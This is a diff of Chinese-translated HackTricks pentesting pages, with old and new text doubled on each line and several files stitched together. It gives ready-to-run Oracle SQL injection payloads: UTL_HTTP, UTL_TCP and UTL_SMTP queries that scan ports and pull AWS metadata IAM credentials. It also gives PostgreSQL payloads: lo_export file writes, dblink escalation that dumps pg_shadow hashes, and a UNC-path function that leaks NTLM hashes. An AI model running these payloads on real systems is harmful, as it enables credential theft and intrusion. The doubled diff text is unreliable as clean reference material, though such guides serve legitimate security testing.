`ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 表明端口关闭,而会话值指向端口已打开 一个 `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` 显示端口关闭,而会话值指向端口为开放
**UTL\_SMTP** **UTL\_SMTP**
`UTL_SMTP`旨在通过 SMTP 发送电子邮件。[Oracle 文档网站提供了一个示例,展示了如何使用该包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478)。然而,对我们而言,有趣的是能够提供主机和端口规范 `UTL_SMTP`用于通过 SMTP 发送电子邮件。 [Oracle 文档网站上提供的示例展示了如何使用此包发送电子邮件](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478)。 然而,对我们来说,值得注意的是提供主机和端口规范的能力
下面显示了一个简单示例,使用了 `UTL_SMTP.OPEN_CONNECTION` 函数,设置了 2 秒的超时时间 下面是一个粗略的示例,使用 `UTL_SMTP.OPEN_CONNECTION` 函数,超时为 2 秒
``` ```
DECLARE c utl_smtp.connection; DECLARE c utl_smtp.connection;
BEGIN BEGIN
@ -90,13 +91,13 @@ BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2); c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END; END;
``` ```
`ORA-29276: 传输超时` 表明端口是打开的,但未建立 SMTP 连接,而 `ORA-29278: SMTP 临时错误: 421 服务不可用` 表明端口已关闭。 A `ORA-29276: transfer timeout` 表示端口开放但未建立 SMTP 连接,而 `ORA-29278: SMTP transient error: 421 Service not available` 表示端口关闭。
**UTL\_TCP** **UTL\_TCP**
`UTL_TCP` 包及其过程和函数允许[与服务进行基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,该包可以轻松成为进入网络或执行完整的服务器端请求的一种方式,因为可以控制 TCP/IP 连接的所有方面。 `UTL_TCP` 包及其过程和函数允许与服务进行 [基于 TCP/IP 的通信](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。如果为特定服务编程,该包可以轻松成为进入网络的途径或执行完整的服务器端请求,因为可以控制 TCP/IP 连接的所有方面。
[Oracle 文档网站上的示例](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)展示了如何使用此包建立原始 TCP 连接以获取网页。我们可以简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。 Oracle 文档网站上的示例 [展示了如何使用此包建立原始 TCP 连接以获取网页](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190)。我们可以稍微简化一下,使用它向元数据实例或任意 TCP/IP 服务发出请求。
``` ```
set serveroutput on size 30000; set serveroutput on size 30000;
SET SERVEROUTPUT ON SET SERVEROUTPUT ON
@ -136,34 +137,35 @@ END;
utl_tcp.close_connection(c); utl_tcp.close_connection(c);
END; END;
``` ```
有趣的是,由于能够构建原始的TCP请求这个包也可以用来查询所有云提供商的实例元数据服务,因为方法类型和附加头都可以在TCP请求中传递。 有趣的是,由于能够构造原始 TCP 请求,这个包也可以用于查询所有云提供商的实例元数据服务,因为方法类型和附加头信息都可以在 TCP 请求中传递。
**UTL\_HTTP和Web请求** **UTL\_HTTP Web 请求**
也许在每个关于Oracle SQL注入的外带教程中最常见且广泛记录的技术是[`UTL_HTTP`包](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070)。文档中定义了这个包 - `UTL_HTTP包使SQL和PL/SQL可以进行超文本传输协议HTTP调用。您可以使用它来通过HTTP访问互联网上的数据。` 也许在所有的离带 Oracle SQL 注入教程中,最常见和广泛记录的技术是 [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070)。该包在文档中定义为 - `UTL_HTTP 包从 SQL 和 PL/SQL 发起超文本传输协议 (HTTP) 调用。您可以使用它通过 HTTP 访问互联网上的数据。`
``` ```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual; select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
``` ```
你还可以使用这个方法执行一些基本的端口扫描,比如使用以下查询: 您还可以使用此功能执行一些基本的端口扫描,例如使用以下查询:
``` ```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual; select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual; select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual; select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
``` ```
一个`ORA-12541: TNS:no listener`或`TNS:operation timed out`表示TCP端口关闭而`ORA-29263: HTTP protocol error`或数据表示端口开放 `ORA-12541: TNS:no listener``TNS:operation timed out` 是 TCP 端口关闭的标志,而 `ORA-29263: HTTP protocol error` 或数据则是端口开放的标志
我过去使用过的另一个包是[`HTTPURITYPE` Oracle抽象类型的`GETCLOB()`方法](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705)它允许与URL交互并支持HTTP协议。`GETCLOB()`方法用于将URL的GET响应作为[CLOB数据类型](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)提取。[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual; 我过去使用过的另一个包,成功率各异,是 [`HTTPURITYPE` Oracle 抽象类型的 `GETCLOB()` 方法](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705),它允许您与 URL 交互并支持 HTTP 协议。`GETCLOB()` 方法用于从 URL 获取 GET 响应,作为 [CLOB 数据类型。](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{% hint style="success" %}
学习与实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,66 +1,67 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。
</details> </details>
{% endhint %}
### PostgreSQL大对象 ### PostgreSQL 大对象
PostgreSQL提供了一种称为**大对象**的结构,通过`pg_largeobject`表访问,旨在存储大数据类型,如图像或PDF文档。这种方法优于`COPY TO`函数,因为它可以将数据**导出回文件系统**,确保原始文件的精确副本得以保留。 PostgreSQL 提供了一种称为 **大对象** 的结构,通过 `pg_largeobject` 表访问,旨在存储大数据类型,如图像或 PDF 文档。这种方法相较于 `COPY TO` 函数具有优势,因为它能够 **将数据导出回文件系统**,确保原始文件的精确副本得以保留。
要在此表中**存储完整文件**,必须在`pg_largeobject`表中创建一个对象由LOID标识然后将每个2KB大小的数据块插入到此对象中。这些块的大小必须确切为2KB最后一个块可能有例外,以确保导出功能正常运行。 要在此表中 **存储完整文件**,必须在 `pg_largeobject` 表中创建一个对象(通过 LOID 识别),然后将每个 2KB 大小的数据块插入到该对象中。确保这些块的大小恰好为 2KB最后一个块可能例外是至关重要的,以确保导出功能正常运行。
将您的**二进制数据分成2KB块**,可以执行以下命令: **将二进制数据** 分割为 2KB 块,可以执行以下命令:
```bash ```bash
split -b 2048 your_file # Creates 2KB sized files split -b 2048 your_file # Creates 2KB sized files
``` ```
对于将每个文件编码为Base64或Hex可以使用以下命令 对于将每个文件编码为 Base64 Hex可以使用以下命令
```bash ```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
``` ```
**重要提示**在自动化此过程时请确保发送2KB清晰文本字节的块。由于大小加倍十六进制编码文件每个块需要4KB数据而Base64编码文件遵循公式 `ceil(n / 3) * 4` **重要**在自动化此过程时请确保发送2KB的明文字节块。由于大小翻倍十六进制编码的文件每个块将需要4KB的数据而Base64编码的文件遵循公式`ceil(n / 3) * 4`
可以使用以下方法查看大型对象的内容以进行调试: 可以使用以下命令查看大对象的内容以进行调试:
```sql ```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject; select loid, pageno, encode(data, 'escape') from pg_largeobject;
``` ```
#### 使用 `lo_creat` & Base64 #### 使用 `lo_creat` Base64
要存储二进制数据,首先创建一个 LOID 要存储二进制数据,首先创建一个 LOID
```sql ```sql
SELECT lo_creat(-1); -- Creates a new, empty large object SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
``` ```
在需要精确控制的情况下,比如利用盲注入Blind SQL Injection首选使用 `lo_create` 来指定固定的 LOID。 在需要精确控制的情况下,例如利用盲SQL注入`lo_create`更适合用于指定固定的LOID。
然后可以按以下方式插入数据块 数据块可以如下插入
```sql ```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64')); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
``` ```
要导出并在使用后可能删除大对象: 要导出并在使用后可能删除大对象:
```sql ```sql
SELECT lo_export(173454, '/tmp/your_file'); SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object SELECT lo_unlink(173454); -- Deletes the specified large object
``` ```
#### 使用 `lo_import` & Hex #### 使用 `lo_import` 和十六进制
`lo_import` 函数可用于创建和指定大对象的 LOID `lo_import` 函数可用于创建和指定大对象的 LOID
```sql ```sql
select lo_import('/path/to/file'); select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454); select lo_import('/path/to/file', 173454);
``` ```
创建对象后,每页插入数据,确保每个数据块不超过2KB 对象创建后,数据按页面插入,确保每个块不超过2KB
```sql ```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0; update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1; update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
@ -72,4 +73,19 @@ select lo_unlink(173454); -- Deletes the specified large object
``` ```
### 限制 ### 限制
注意到**大对象可能有ACLs**访问控制列表可能会限制甚至是您的用户创建的对象的访问。然而具有宽松ACL的旧对象仍然可以通过内容外泄来访问。 需要注意的是,**大对象可能具有 ACLs**(访问控制列表),这可能会限制对即使是由您的用户创建的对象的访问。然而,具有宽松 ACLs 的旧对象可能仍然可以访问以进行内容外泄。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,34 +1,20 @@
# dblink/lo\_import数据外泄 # dblink/lo\_import 数据外泄
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**这是使用`lo_import`在数据库中加载文件并使用`dblink_connect`将它们外泄的示例。** **这是一个如何使用 `lo_import` 加载数据库中的文件并使用 `dblink_connect` 进行数据外泄的示例。**
**查看解决方案:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md) **查看解决方案:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,43 +1,44 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
**在原始论文中找[关于这些攻击的更多信息](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。 **在原始论文中找[更多关于这些攻击的信息](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**。
**PostgreSQL 9.1**以来,安装附加模块变得简单。[像`dblink`这样的注册扩展](https://www.postgresql.org/docs/current/contrib.html)可以使用[`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html)进行安装 **PostgreSQL 9.1** 以来,安装额外模块变得简单。可以使用 [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) 安装 [注册扩展如 `dblink`](https://www.postgresql.org/docs/current/contrib.html)
```sql ```sql
CREATE EXTENSION dblink; CREATE EXTENSION dblink;
``` ```
一旦加载了 dblink您可能能够执行一些有趣的技巧: 一旦你加载了 dblink你就可以执行一些有趣的技巧:
## 权提升 ## 权提升
`pg_hba.conf` 文件可能配置不当,**允许**来自**本地主机的任何用户**连接而无需知道密码。该文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,不良配置如下 文件 `pg_hba.conf` 可能配置不当 **允许从 localhost 以任何用户身份连接** 而无需知道密码。这个文件通常可以在 `/etc/postgresql/12/main/pg_hba.conf` 中找到,错误的配置看起来像
``` ```
local all all trust local all all trust
``` ```
_请注意此配置通常用于在管理员忘记密码时修改数据库用户的密码因此有时您可能会找到它。_\ _请注意这种配置通常用于在管理员忘记数据库用户密码时修改密码因此有时您可能会找到它。_\
_还要注意pg\_hba.conf 文件只能被 postgres 用户和组读取,只能被 postgres 用户写入。_ _还要注意文件 pg\_hba.conf 仅可由 postgres 用户和组读取,并且仅可由 postgres 用户写入。_
如果您已经在受害者内部获得了 shell这种情况非常有用因为它将允许您连接到 postgresql 数据库。 这种情况是 **有用的,如果****已经** 在受害者的 **shell** 中,因为它将允许你连接到 postgresql 数据库。
另一种可能的错误配置如下 另一个可能的错误配置类似于
``` ```
host all all 127.0.0.1/32 trust host all all 127.0.0.1/32 trust
``` ```
由于它将允许来自本地主机的所有人以任何用户身份连接到数据库。\ 因为它将允许来自本地主机的每个人以任何用户身份连接到数据库。\
在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库,并访问不应访问的数据来**提升权限** 在这种情况下,如果**`dblink`**函数**正常工作**,您可以通过通过已建立的连接连接到数据库来**提升权限**,并访问不应该能够访问的数据:
```sql ```sql
SELECT * FROM dblink('host=127.0.0.1 SELECT * FROM dblink('host=127.0.0.1
user=postgres user=postgres
@ -51,9 +52,9 @@ dbname=postgres',
'select usename, passwd from pg_shadow') 'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT); RETURNS (result1 TEXT, result2 TEXT);
``` ```
## 端口扫描 ## Port Scanning
`dblink_connect`,您还可以**搜索开放端口**。如果该**函数不起作用,您应该尝试使用 `dblink_connect_u()`,因为文档中指出 `dblink_connect_u()``dblink_connect()` 相同,只是它允许非超级用户使用任何身份验证方法连接。 通过滥`dblink_connect`,您还可以**搜索开放端口**。如果该**函数不起作用,您应该尝试使用 `dblink_connect_u()`,因为文档说明 `dblink_connect_u()``dblink_connect()` 相同,只是它允许非超级用户使用任何身份验证方法进行连接。**
```sql ```sql
SELECT * FROM dblink_connect('host=216.58.212.238 SELECT * FROM dblink_connect('host=216.58.212.238
port=443 port=443
@ -80,11 +81,11 @@ DETAIL: timeout expired
ERROR: could not establish connection ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation: DETAIL: received invalid response to SSL negotiation:
``` ```
注意,在能够使用 `dblink_connect``dblink_connect_u` 之前,您可能需要执行: 注意,在能够使用 `dblink_connect``dblink_connect_u` 之前,您可能需要执行:
``` ```
CREATE extension dblink; CREATE extension dblink;
``` ```
## UNC路径 - NTLM哈希泄露 ## UNC 路径 - NTLM 哈希泄露
```sql ```sql
-- can be used to leak hashes to Responder/equivalent -- can be used to leak hashes to Responder/equivalent
CREATE TABLE test(); CREATE TABLE test();
@ -105,16 +106,17 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER; $$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc(); SELECT testfunc();
``` ```
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,19 +1,20 @@
{% hint style="success" %}
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
其他支持HackTricks的方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}
# SQLmap的基本参数 # SQLmap 的基本参数
## 通用 ## 通用
```bash ```bash
@ -32,7 +33,7 @@
